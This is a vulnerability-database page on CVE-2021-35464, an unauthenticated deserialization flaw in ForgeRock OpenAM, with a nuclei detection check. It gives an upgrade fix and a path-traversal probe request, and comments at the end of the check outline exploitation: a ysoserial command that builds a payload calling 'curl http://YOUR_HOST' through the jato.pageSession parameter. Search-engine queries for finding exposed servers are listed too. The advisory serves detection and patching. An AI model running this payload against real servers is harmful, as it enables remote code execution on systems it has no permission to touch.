HexBrain

Browse / CVEs / CVE-2021-35464

CVE-2021-35464· forgerock / am· CWE-502

ForgeRock OpenAM <7.0 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity
9.8CVSS score
100%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages. The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted /ccversion/* request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO) found in versions of Java 8 or earlier.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Upgrade ForgeRock OpenAM to version 7.0 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/openam/oauth2/..;/ccversion/Version
Positive when: contains in header "Set-Cookie: JSESSIONID=" AND contains "Version Information -" or "openam/ccversion/Masthead.jsp" AND status 200

Run it with nuclei: nuclei -id CVE-2021-35464 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-35464

info:
  name: ForgeRock OpenAM <7.0 - Remote Code Execution
  author: madrobot
  severity: critical
  description: |
    ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages.
    The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted
    /ccversion/* request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO)
    found in versions of Java 8 or earlier.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade ForgeRock OpenAM to version 7.0 or later to mitigate this vulnerability.
  reference:
    - https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35464
    - http://packetstormsecurity.com/files/163486/ForgeRock-OpenAM-Jato-Java-Deserialization.html
    - http://packetstormsecurity.com/files/163525/ForgeRock-Access-Manager-OpenAM-14.6.3-Remote-Code-Execution.html
    - https://bugster.forgerock.org
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-35464
    cwe-id: CWE-502
    epss-score: 0.99999
    epss-percentile: 0.99996
    cpe: cpe:2.3:a:forgerock:am:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: forgerock
    product: am
    shodan-query:
      - http.title:"OpenAM"
      - http.title:"openam"
    fofa-query: title="openam"
    google-query: intitle:"openam"
  tags: cve,cve2021,packetstorm,openam,rce,java,kev,forgerock,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/openam/oauth2/..;/ccversion/Version'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Set-Cookie: JSESSIONID="

      - type: word
        part: body
        words:
          - "Version Information -"
          - "openam/ccversion/Masthead.jsp"
        condition: or

      - type: status
        status:
          - 200

# {{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession=<serialized_object>
# java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://YOUR_HOST" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='

References

Use this check only on systems you are authorised to test. Where the data comes from